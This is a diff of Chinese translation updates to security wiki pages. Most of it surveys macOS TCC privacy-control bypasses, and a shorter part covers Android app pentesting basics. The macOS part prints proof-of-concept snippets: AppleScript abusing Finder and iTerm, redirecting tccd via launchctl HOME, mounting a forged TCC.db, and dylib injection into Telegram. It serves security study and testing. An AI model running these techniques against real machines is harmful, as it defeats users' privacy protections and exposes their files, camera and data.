### 自动化 (SE) + 辅助功能 (**`kTCCServicePostEvent`|**`kTCCServiceAccessibility`**)** 到 FDA\*
|
||||
|
||||
在 **`System Events`** 上的自动化 + 辅助功能 (**`kTCCServicePostEvent`**) 允许向 **进程发送按键**。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或为任意应用程序提供 FDA(尽管可能会提示输入密码)。
|
||||
在 **`System Events`** + 辅助功能 (**`kTCCServicePostEvent`**) 上的自动化允许向进程发送 **按键**。通过这种方式,您可以滥用 Finder 来更改用户的 TCC.db 或将 FDA 授予任意应用程序(尽管可能会提示输入密码)。
|
||||
|
||||
Finder 覆盖用户 TCC.db 示例:
|
||||
```applescript
|
||||
@ -502,11 +502,11 @@ EOF
|
||||
|
||||
### 系统策略 SysAdmin 文件到 FDA
|
||||
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** 允许 **更改** 用户的 **`NFSHomeDirectory`** 属性,从而更改他的主文件夹,因此允许 **绕过 TCC**。
|
||||
**`kTCCServiceSystemPolicySysAdminFiles`** 允许 **更改** 用户的 **`NFSHomeDirectory`** 属性,这会更改他的主文件夹,从而允许 **绕过 TCC**。
|
||||
|
||||
### 用户 TCC 数据库到 FDA
|
||||
|
||||
获取 **用户 TCC** 数据库的 **写权限** 你 **不能** 授予自己 **`FDA`** 权限,只有系统数据库中的用户可以授予。
|
||||
获得 **用户 TCC** 数据库的 **写权限** 你 **不能** 授予自己 **`FDA`** 权限,只有系统数据库中的用户可以授予该权限。
|
||||
|
||||
但你可以 **授予** 自己 **`Finder 的自动化权限`**,并滥用之前的技术提升到 FDA\*。
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
### 写入绕过
|
||||
|
||||
这不是一个绕过,这只是 TCC 的工作方式:**它不保护写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入其中**:
|
||||
这不是一个绕过,这只是 TCC 的工作方式:**它不防止写入**。如果终端 **没有权限读取用户的桌面,它仍然可以写入**:
|
||||
```shell-session
|
||||
username@hostname ~ % ls Desktop
|
||||
ls: Desktop: Operation not permitted
|
||||
@ -27,7 +27,7 @@ asd
|
||||
### TCC 请求任意名称
|
||||
|
||||
攻击者可以 **创建任何名称的应用**(例如 Finder、Google Chrome...)在 **`Info.plist`** 中,并使其请求访问某些 TCC 保护的位置。用户会认为是合法应用在请求此访问。\
|
||||
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可能会调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信是合法应用请求了访问。
|
||||
此外,可以 **从 Dock 中移除合法应用并将假应用放上去**,因此当用户点击假应用(可以使用相同的图标)时,它可以调用合法应用,请求 TCC 权限并执行恶意软件,使用户相信是合法应用请求了访问。
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
@ -48,21 +48,21 @@ asd
|
||||
- [https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/](https://www.jamf.com/blog/zero-day-tcc-bypass-discovered-in-xcsset-malware/)
|
||||
|
||||
> [!CAUTION]
|
||||
> 请注意,现在要能够启用 SSH,你需要 **完全磁盘访问**
|
||||
> 请注意,现在要启用 SSH,你需要 **完全磁盘访问**
|
||||
|
||||
### 处理扩展 - CVE-2022-26767
|
||||
|
||||
属性 **`com.apple.macl`** 被赋予文件以给予 **某个应用读取它的权限。** 当 **拖放** 文件到应用上,或当用户 **双击** 文件以使用 **默认应用** 打开时,此属性被设置。
|
||||
属性 **`com.apple.macl`** 被赋予文件,以便给 **某个应用程序读取它的权限。** 当 **拖放** 文件到应用上,或当用户 **双击** 文件以使用 **默认应用** 打开时,会设置此属性。
|
||||
|
||||
因此,用户可以 **注册一个恶意应用** 来处理所有扩展并调用 Launch Services 来 **打开** 任何文件(因此恶意文件将被授予读取权限)。
|
||||
因此,用户可以 **注册一个恶意应用** 来处理所有扩展,并调用 Launch Services 来 **打开** 任何文件(这样恶意文件将被授予读取权限)。
|
||||
|
||||
### iCloud
|
||||
|
||||
权限 **`com.apple.private.icloud-account-access`** 使得可以与 **`com.apple.iCloudHelper`** XPC 服务进行通信,该服务将 **提供 iCloud 令牌**。
|
||||
权限 **`com.apple.private.icloud-account-access`** 使得与 **`com.apple.iCloudHelper`** XPC 服务进行通信成为可能,该服务将 **提供 iCloud 令牌**。
|
||||
|
||||
**iMovie** 和 **Garageband** 拥有此权限以及其他允许的权限。
|
||||
|
||||
有关利用此权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
有关利用该权限 **获取 iCloud 令牌** 的更多 **信息**,请查看演讲:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / 自动化
|
||||
|
||||
@ -78,9 +78,9 @@ macos-apple-scripts.md
|
||||
|
||||
<figure><img src="../../../../../images/image (981).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
#### 通过 iTerm
|
||||
#### 在 iTerm 上
|
||||
|
||||
Terminal,没有 FDA,可以调用 iTerm,iTerm 拥有 FDA,并利用它执行操作:
|
||||
没有 FDA 的 Terminal 可以调用具有 FDA 的 iTerm,并利用它执行操作:
|
||||
```applescript:iterm.script
|
||||
tell application "iTerm"
|
||||
activate
|
||||
@ -114,7 +114,7 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
||||
|
||||
用户空间的 **tccd daemon** 使用 **`HOME`** **env** 变量从以下位置访问 TCC 用户数据库: **`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
根据 [这篇 Stack Exchange 文章](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 和因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制所有传递给它的环境变量**。\
|
||||
根据 [this Stack Exchange post](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686) 并且因为 TCC daemon 是通过 `launchd` 在当前用户的域中运行的,所以可以 **控制所有传递给它的环境变量**。\
|
||||
因此,**攻击者可以在 `launchctl` 中设置 `$HOME` 环境** 变量指向一个 **受控** **目录**,**重启** **TCC** daemon,然后 **直接修改 TCC 数据库** 以赋予自己 **所有可用的 TCC 权限**,而无需提示最终用户。\
|
||||
PoC:
|
||||
```bash
|
||||
@ -145,7 +145,7 @@ $> ls ~/Documents
|
||||
```
|
||||
### CVE-2021-30761 - 备注
|
||||
|
||||
Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔记是 **在一个非保护的位置创建的**。因此,你可以要求 Notes 将一个受保护的文件复制到一个笔记中(即在一个非保护的位置),然后访问该文件:
|
||||
Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,它是 **在一个非保护的位置创建的**。因此,您可以要求 Notes 将一个受保护的文件复制到一个笔记中(即在一个非保护的位置),然后访问该文件:
|
||||
|
||||
<figure><img src="../../../../../images/image (476).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@ -157,22 +157,21 @@ Notes 可以访问 TCC 保护的位置,但当创建一个笔记时,这个笔
|
||||
|
||||
### CVE-2023-38571 - 音乐与电视 <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会 **导入** 被拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件到用户的 "媒体库"。此外,它调用类似于:**`rename(a, b);`** 的操作,其中 `a` 和 `b` 是:
|
||||
**`Music`** 有一个有趣的功能:当它运行时,它会 **导入** 被拖放到 **`~/Music/Music/Media.localized/Automatically Add to Music.localized`** 的文件到用户的 "媒体库"。此外,它调用类似于:**`rename(a, b);`** 的内容,其中 `a` 和 `b` 是:
|
||||
|
||||
- `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
- `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
||||
这个 **`rename(a, b);`** 行为容易受到 **竞争条件** 的影响,因为可以在 `Automatically Add to Music.localized` 文件夹中放置一个假的 **TCC.db** 文件,然后在创建新文件夹 (b) 时复制该文件,删除它,并指向 **`~/Library/Application Support/com.apple.TCC`**。
|
||||
这个 **`rename(a, b);`** 行为容易受到 **竞争条件** 的影响,因为可以在 `Automatically Add to Music.localized` 文件夹中放置一个假的 **TCC.db** 文件,然后在创建新文件夹(b)以复制文件时,删除它,并指向 **`~/Library/Application Support/com.apple.TCC`**。
|
||||
|
||||
### SQLITE_SQLLOG_DIR - CVE-2023-32422
|
||||
|
||||
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被 **一个具有 FDA 的进程打开 TCC 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被覆盖**。
|
||||
|
||||
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和** [**在演讲中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
|
||||
如果 **`SQLITE_SQLLOG_DIR="path/folder"`**,基本上意味着 **任何打开的数据库都会被复制到该路径**。在这个 CVE 中,这个控制被滥用以 **写入** 一个 **SQLite 数据库**,该数据库将被 **一个具有 FDA 的进程打开 TCC 数据库**,然后滥用 **`SQLITE_SQLLOG_DIR`**,在文件名中使用 **符号链接**,因此当该数据库被 **打开** 时,用户的 **TCC.db 被打开的数据库覆盖**。\
|
||||
**更多信息** [**在写作中**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **和**[ **在演讲中**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y&t=20548s)。
|
||||
|
||||
### **SQLITE_AUTO_TRACE**
|
||||
|
||||
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有的 SQL 查询。许多应用程序使用了这个库,因此可以记录它们所有的 SQLite 查询。
|
||||
如果环境变量 **`SQLITE_AUTO_TRACE`** 被设置,库 **`libsqlite3.dylib`** 将开始 **记录** 所有 SQL 查询。许多应用程序使用这个库,因此可以记录它们所有的 SQLite 查询。
|
||||
|
||||
多个 Apple 应用程序使用这个库来访问 TCC 保护的信息。
|
||||
```bash
|
||||
@ -189,21 +188,21 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
- 一个或多个 `write()` 将内容写入文件(我们无法控制这一点)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX` 将被 `renamed()` 为 `path/name`
|
||||
|
||||
这是一个临时文件写入,随后是 **`rename(old, new)`** **不安全。**
|
||||
这是一个临时文件写入,随后是一个 **`rename(old, new)`** **这并不安全。**
|
||||
|
||||
它不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
这并不安全,因为它必须 **分别解析旧路径和新路径**,这可能需要一些时间,并且可能容易受到竞争条件的影响。有关更多信息,您可以查看 `xnu` 函数 `renameat_internal()`。
|
||||
|
||||
> [!CAUTION]
|
||||
> 所以,基本上,如果一个特权进程正在从您控制的文件夹重命名,您可能会获得 RCE 并使其访问不同的文件,或者像在这个 CVE 中那样,打开特权应用程序创建的文件并存储一个 FD。
|
||||
>
|
||||
> 如果重命名访问一个您控制的文件夹,同时您已修改源文件或拥有其 FD,您可以将目标文件(或文件夹)更改为指向一个符号链接,这样您可以随时写入。
|
||||
> 如果重命名访问一个您控制的文件夹,同时您已修改源文件或拥有其 FD,您可以将目标文件(或文件夹)更改为指向一个符号链接,这样您就可以随时写入。
|
||||
|
||||
这是 CVE 中的攻击:例如,要覆盖用户的 `TCC.db`,我们可以:
|
||||
|
||||
- 创建 `/Users/hacker/ourlink` 指向 `/Users/hacker/Library/Application Support/com.apple.TCC/`
|
||||
- 创建目录 `/Users/hacker/tmp/`
|
||||
- 设置 `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`
|
||||
- 通过运行带有此 env 变量的 `Music` 触发漏洞
|
||||
- 通过运行带有此 env 变量的 `Music` 来触发漏洞
|
||||
- 捕获 `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX` 的 `open()`(X 是随机的)
|
||||
- 在这里我们也 `open()` 这个文件以进行写入,并保持文件描述符
|
||||
- 原子性地在 `/Users/hacker/tmp` 和 `/Users/hacker/ourlink` 之间切换 **在一个循环中**
|
||||
@ -219,15 +218,15 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
||||
作为 root,您可以启用此服务,**ARD 代理将具有完全的磁盘访问权限**,这可能被用户滥用以使其复制新的 **TCC 用户数据库**。
|
||||
作为 root,您可以启用此服务,**ARD 代理将具有完全的磁盘访问权限**,这可能会被用户滥用以使其复制新的 **TCC 用户数据库**。
|
||||
|
||||
## 通过 **NFSHomeDirectory**
|
||||
|
||||
TCC 在用户的 HOME 文件夹中使用数据库来控制对特定于用户的资源的访问,路径为 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
TCC 在用户的 HOME 文件夹中使用数据库来控制特定于用户的资源访问,路径为 **$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
因此,如果用户设法使用指向 **不同文件夹** 的 $HOME env 变量重新启动 TCC,用户可以在 **/Library/Application Support/com.apple.TCC/TCC.db** 中创建一个新的 TCC 数据库,并欺骗 TCC 授予任何应用程序任何 TCC 权限。
|
||||
|
||||
> [!TIP]
|
||||
> 请注意,Apple 使用存储在用户配置文件中的 **`NFSHomeDirectory`** 属性的设置作为 **`$HOME`** 的值,因此如果您妥协了具有修改此值权限的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**),您可以 **武器化** 此选项以绕过 TCC。
|
||||
> 请注意,Apple 使用存储在用户配置文件中的 **`NFSHomeDirectory`** 属性的设置作为 **`$HOME`** 的值,因此如果您妥协了一个有权限修改此值的应用程序(**`kTCCServiceSystemPolicySysAdminFiles`**),您可以 **武器化** 此选项以绕过 TCC。
|
||||
|
||||
### [CVE-2020–9934 - TCC](#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
||||
@ -245,20 +244,20 @@ TCC 在用户的 HOME 文件夹中使用数据库来控制对特定于用户的
|
||||
6. 停止用户的 _tccd_ 并重启该进程。
|
||||
|
||||
第二个 POC 使用 **`/usr/libexec/configd`**,它具有 `com.apple.private.tcc.allow`,值为 `kTCCServiceSystemPolicySysAdminFiles`。\
|
||||
可以使用 **`-t`** 选项运行 **`configd`**,攻击者可以指定 **自定义 Bundle 进行加载**。因此,利用该漏洞 **替换** 了 **`dsexport`** 和 **`dsimport`** 更改用户主目录的方法,使用 **`configd` 代码注入**。
|
||||
可以使用 **`-t`** 选项运行 **`configd`**,攻击者可以指定 **自定义 Bundle 进行加载**。因此,该漏洞 **替换** 了 **`dsexport`** 和 **`dsimport`** 更改用户主目录的方法,使用 **`configd` 代码注入**。
|
||||
|
||||
有关更多信息,请查看 [**原始报告**](https://www.microsoft.com/en-us/security/blog/2022/01/10/new-macos-vulnerability-powerdir-could-lead-to-unauthorized-user-data-access/)。
|
||||
|
||||
## 通过进程注入
|
||||
|
||||
有不同的技术可以将代码注入到进程中并滥用其 TCC 权限:
|
||||
有不同的技术可以在进程内部注入代码并滥用其 TCC 权限:
|
||||
|
||||
{{#ref}}
|
||||
../../../macos-proces-abuse/
|
||||
{{#endref}}
|
||||
|
||||
此外,发现的最常见的通过 TCC 绕过的进程注入是通过 **插件(加载库)**。\
|
||||
插件通常是以库或 plist 形式存在的额外代码,将被 **主应用程序加载** 并在其上下文中执行。因此,如果主应用程序具有对 TCC 限制文件的访问(通过授予的权限或特权),**自定义代码也将具有此权限**。
|
||||
此外,发现的最常见的通过 TCC 的进程注入是通过 **插件(加载库)**。\
|
||||
插件是通常以库或 plist 形式存在的额外代码,将由 **主应用程序加载**,并将在其上下文中执行。因此,如果主应用程序有权访问 TCC 限制的文件(通过授予的权限或特权),**自定义代码也将拥有这些权限**。
|
||||
|
||||
### CVE-2020-27937 - Directory Utility
|
||||
|
||||
@ -345,7 +344,7 @@ Executable=/Applications/Firefox.app/Contents/MacOS/firefox
|
||||
|
||||
### CVE-2023-26818 - Telegram
|
||||
|
||||
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**,因此可以滥用它以**获取其权限**,例如使用相机录制。您可以[**在报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
Telegram具有权限**`com.apple.security.cs.allow-dyld-environment-variables`**和**`com.apple.security.cs.disable-library-validation`**,因此可以利用它**获取其权限**,例如使用相机录制。您可以[**在报告中找到有效载荷**](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)。
|
||||
|
||||
注意如何使用环境变量加载库,**创建了一个自定义plist**来注入此库,并使用**`launchctl`**来启动它:
|
||||
```xml
|
||||
@ -379,11 +378,11 @@ launchctl load com.telegram.launcher.plist
|
||||
```
|
||||
## 通过开放调用
|
||||
|
||||
即使在沙盒中,也可以调用 **`open`**
|
||||
即使在沙盒中也可以调用 **`open`**
|
||||
|
||||
### 终端脚本
|
||||
|
||||
给终端 **完全磁盘访问 (FDA)** 是很常见的,至少在技术人员使用的计算机上。并且可以使用它调用 **`.terminal`** 脚本。
|
||||
在技术人员使用的计算机上,给终端 **完全磁盘访问 (FDA)** 是很常见的。并且可以使用它调用 **`.terminal`** 脚本。
|
||||
|
||||
**`.terminal`** 脚本是 plist 文件,例如这个文件,其中包含在 **`CommandString`** 键中执行的命令:
|
||||
```xml
|
||||
@ -403,7 +402,7 @@ launchctl load com.telegram.launcher.plist
|
||||
</dict>
|
||||
</plist>
|
||||
```
|
||||
一个应用程序可以在诸如 /tmp 的位置写入一个终端脚本,并使用如下命令启动它:
|
||||
一个应用程序可以在 /tmp 等位置写入一个终端脚本,并使用以下命令启动它:
|
||||
```objectivec
|
||||
// Write plist in /tmp/tcc.terminal
|
||||
[...]
|
||||
@ -441,9 +440,9 @@ ls /tmp/snap/Users/admin_user # This will work
|
||||
```
|
||||
更详细的解释可以在[**原始报告中找到**](https://theevilbit.github.io/posts/cve_2020_9771/)**。**
|
||||
|
||||
### CVE-2021-1784 & CVE-2021-30808 - 挂载 TCC 文件
|
||||
### CVE-2021-1784 & CVE-2021-30808 - 在TCC文件上挂载
|
||||
|
||||
即使 TCC 数据库文件受到保护,仍然可以**挂载一个新的 TCC.db 文件到该目录**:
|
||||
即使TCC数据库文件受到保护,仍然可以**在目录上挂载**一个新的TCC.db文件:
|
||||
```bash
|
||||
# CVE-2021-1784
|
||||
## Mount over Library/Application\ Support/com.apple.TCC
|
||||
@ -464,44 +463,45 @@ os.system("mkdir -p /tmp/mnt/Application\ Support/com.apple.TCC/")
|
||||
os.system("cp /tmp/TCC.db /tmp/mnt/Application\ Support/com.apple.TCC/TCC.db")
|
||||
os.system("hdiutil detach /tmp/mnt 1>/dev/null")
|
||||
```
|
||||
检查完整的 **exploit** 在 [**original writeup**](https://theevilbit.github.io/posts/cve-2021-30808/)。
|
||||
检查**完整的利用**在[**原始写作**](https://theevilbit.github.io/posts/cve-2021-30808/)中。
|
||||
|
||||
### CVE-2024-40855
|
||||
|
||||
如 [original writeup](https://www.kandji.io/blog/macos-audit-story-part2) 中所述,此 CVE 利用了 `diskarbitrationd`。
|
||||
正如在[原始写作](https://www.kandji.io/blog/macos-audit-story-part2)中所解释的,这个CVE利用了`diskarbitrationd`。
|
||||
|
||||
公共 `DiskArbitration` 框架中的函数 `DADiskMountWithArgumentsCommon` 执行了安全检查。然而,可以通过直接调用 `diskarbitrationd` 来绕过它,因此可以在路径中使用 `../` 元素和符号链接。
|
||||
公共`DiskArbitration`框架中的函数`DADiskMountWithArgumentsCommon`执行了安全检查。然而,可以通过直接调用`diskarbitrationd`来绕过它,因此可以在路径中使用`../`元素和符号链接。
|
||||
|
||||
这使得攻击者能够在任何位置进行任意挂载,包括由于 `diskarbitrationd` 的权限 `com.apple.private.security.storage-exempt.heritable` 而覆盖 TCC 数据库。
|
||||
这使得攻击者能够在任何位置进行任意挂载,包括由于`diskarbitrationd`的`com.apple.private.security.storage-exempt.heritable`权限而覆盖TCC数据库。
|
||||
|
||||
### asr
|
||||
|
||||
工具 **`/usr/sbin/asr`** 允许复制整个磁盘并将其挂载到另一个位置,从而绕过 TCC 保护。
|
||||
工具**`/usr/sbin/asr`**允许复制整个磁盘并将其挂载到另一个位置,从而绕过TCC保护。
|
||||
|
||||
### 位置服务
|
||||
|
||||
在 **`/var/db/locationd/clients.plist`** 中有一个第三个 TCC 数据库,用于指示允许 **访问位置服务** 的客户端。\
|
||||
文件夹 **`/var/db/locationd/` 没有受到 DMG 挂载的保护**,因此可以挂载我们自己的 plist。
|
||||
在**`/var/db/locationd/clients.plist`**中有一个第三个TCC数据库,用于指示允许**访问位置服务**的客户端。\
|
||||
文件夹**`/var/db/locationd/`没有受到DMG挂载的保护**,因此可以挂载我们自己的plist。
|
||||
|
||||
## 通过启动应用程序
|
||||
|
||||
## 通过启动应用
|
||||
|
||||
{{#ref}}
|
||||
../../../../macos-auto-start-locations.md
|
||||
{{#endref}}
|
||||
|
||||
## 通过 grep
|
||||
## 通过grep
|
||||
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等...(这被视为 Apple 的一个漏洞)。
|
||||
在多个场合,文件会在未受保护的位置存储敏感信息,如电子邮件、电话号码、消息等...(这被视为Apple的一个漏洞)。
|
||||
|
||||
<figure><img src="../../../../../images/image (474).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
## 合成点击
|
||||
|
||||
这不再有效,但它 [**在过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
这不再有效,但它[**在过去有效**](https://twitter.com/noarfromspace/status/639125916233416704/photo/1)**:**
|
||||
|
||||
<figure><img src="../../../../../images/image (29).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
另一种使用 [**CoreGraphics 事件**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf) 的方法:
|
||||
另一种使用[**CoreGraphics事件**](https://objectivebythesea.org/v2/talks/OBTS_v2_Wardle.pdf)的方法:
|
||||
|
||||
<figure><img src="../../../../../images/image (30).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
|
||||
@ -4,7 +4,7 @@
|
||||
|
||||
## Android 应用程序基础
|
||||
|
||||
强烈建议您开始阅读此页面,以了解与 Android 安全性和 Android 应用程序中最危险组件相关的 **最重要部分**:
|
||||
强烈建议您开始阅读此页面,以了解与 Android 安全性相关的 **最重要部分和 Android 应用程序中最危险的组件**:
|
||||
|
||||
{{#ref}}
|
||||
android-applications-basics.md
|
||||
@ -12,15 +12,15 @@ android-applications-basics.md
|
||||
|
||||
## ADB (Android 调试桥)
|
||||
|
||||
这是您连接到 Android 设备(模拟或物理)的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **文件的双向复制**、**应用程序的安装和卸载**、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||
这是您连接到 Android 设备(模拟或物理)所需的主要工具。\
|
||||
**ADB** 允许从计算机通过 **USB** 或 **网络** 控制设备。此工具使 **双向复制** 文件、**安装** 和 **卸载** 应用程序、**执行** shell 命令、**备份** 数据、**读取** 日志等功能成为可能。
|
||||
|
||||
查看以下 [**ADB 命令**](adb-commands.md) 列表,以了解如何使用 adb。
|
||||
|
||||
## Smali
|
||||
|
||||
有时修改 **应用程序代码** 以访问 **隐藏信息**(可能是经过良好混淆的密码或标志)是很有趣的。然后,反编译 apk、修改代码并重新编译可能会很有趣。\
|
||||
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析** 中作为 **多项测试的替代方案** 将非常有用。然后,**始终记住这个可能性**。
|
||||
[**在本教程中**,您可以 **学习如何反编译 APK、修改 Smali 代码并使用新功能重新编译 APK**](smali-changes.md)。这在 **动态分析期间的几项测试中可能非常有用**。因此,**始终记住这种可能性**。
|
||||
|
||||
## 其他有趣的技巧
|
||||
|
||||
@ -50,10 +50,12 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
```
|
||||
## 案例研究与漏洞
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../ios-pentesting/air-keyboard-remote-input-injection.md
|
||||
{{#endref}}
|
||||
|
||||
|
||||
{{#ref}}
|
||||
../../linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md
|
||||
{{#endref}}
|
||||
@ -65,11 +67,11 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### 寻找有趣的信息
|
||||
|
||||
仅查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
仅通过查看 APK 的**字符串**,您可以搜索**密码**、**URL** ([https://github.com/ndelphit/apkurlgrep](https://github.com/ndelphit/apkurlgrep))、**api** 密钥、**加密**、**蓝牙 UUID**、**令牌**以及任何有趣的内容……甚至查找代码执行的**后门**或身份验证后门(硬编码的管理员凭据)。
|
||||
|
||||
**Firebase**
|
||||
|
||||
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 及其利用的更多信息,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
特别注意**firebase URL**,并检查其是否配置不当。[有关 Firebase 的更多信息以及如何利用它,请点击这里。](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md)
|
||||
|
||||
### 应用程序的基本理解 - Manifest.xml, strings.xml
|
||||
|
||||
@ -77,9 +79,9 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
**从 _Manifest.xml_ 中识别的漏洞包括:**
|
||||
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试(`debuggable="true"`)的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**:处理敏感信息的应用程序应明确设置 `android:allowBackup="false"` 属性,以防止通过 adb 未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置(`android:networkSecurityConfig="@xml/network_security_config"`)可以指定安全细节,如证书钉扎和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **可调试应用程序**:在 _Manifest.xml_ 文件中设置为可调试 (`debuggable="true"`) 的应用程序存在风险,因为它们允许连接,可能导致被利用。有关如何利用可调试应用程序的进一步理解,请参考有关在设备上查找和利用可调试应用程序的教程。
|
||||
- **备份设置**:对于处理敏感信息的应用程序,`android:allowBackup="false"` 属性应明确设置,以防止通过 adb 进行未经授权的数据备份,尤其是在启用 USB 调试时。
|
||||
- **网络安全**:_res/xml/_ 中的自定义网络安全配置 (`android:networkSecurityConfig="@xml/network_security_config"`) 可以指定安全细节,如证书固定和 HTTP 流量设置。一个例子是允许特定域的 HTTP 流量。
|
||||
- **导出活动和服务**:在清单中识别导出活动和服务可以突出可能被滥用的组件。在动态测试期间的进一步分析可以揭示如何利用这些组件。
|
||||
- **内容提供者和文件提供者**:暴露的内容提供者可能允许未经授权访问或修改数据。文件提供者的配置也应仔细审查。
|
||||
- **广播接收器和 URL 方案**:这些组件可能被利用进行攻击,特别注意如何管理 URL 方案以防止输入漏洞。
|
||||
@ -89,21 +91,23 @@ java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
|
||||
|
||||
### Tapjacking
|
||||
|
||||
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡受害者应用程序,其用户界面设计成欺骗用户与之交互,同时将交互传递给受害者应用程序。\
|
||||
**Tapjacking** 是一种攻击,其中**恶意** **应用程序**被启动并**定位在受害者应用程序的顶部**。一旦它可见地遮挡了受害者应用程序,其用户界面被设计成欺骗用户与之互动,同时将互动传递给受害者应用程序。\
|
||||
实际上,它是**让用户无法知道他们实际上是在对受害者应用程序执行操作**。
|
||||
|
||||
在这里找到更多信息:
|
||||
|
||||
|
||||
{{#ref}}
|
||||
tapjacking.md
|
||||
{{#endref}}
|
||||
|
||||
### 任务劫持
|
||||
|
||||
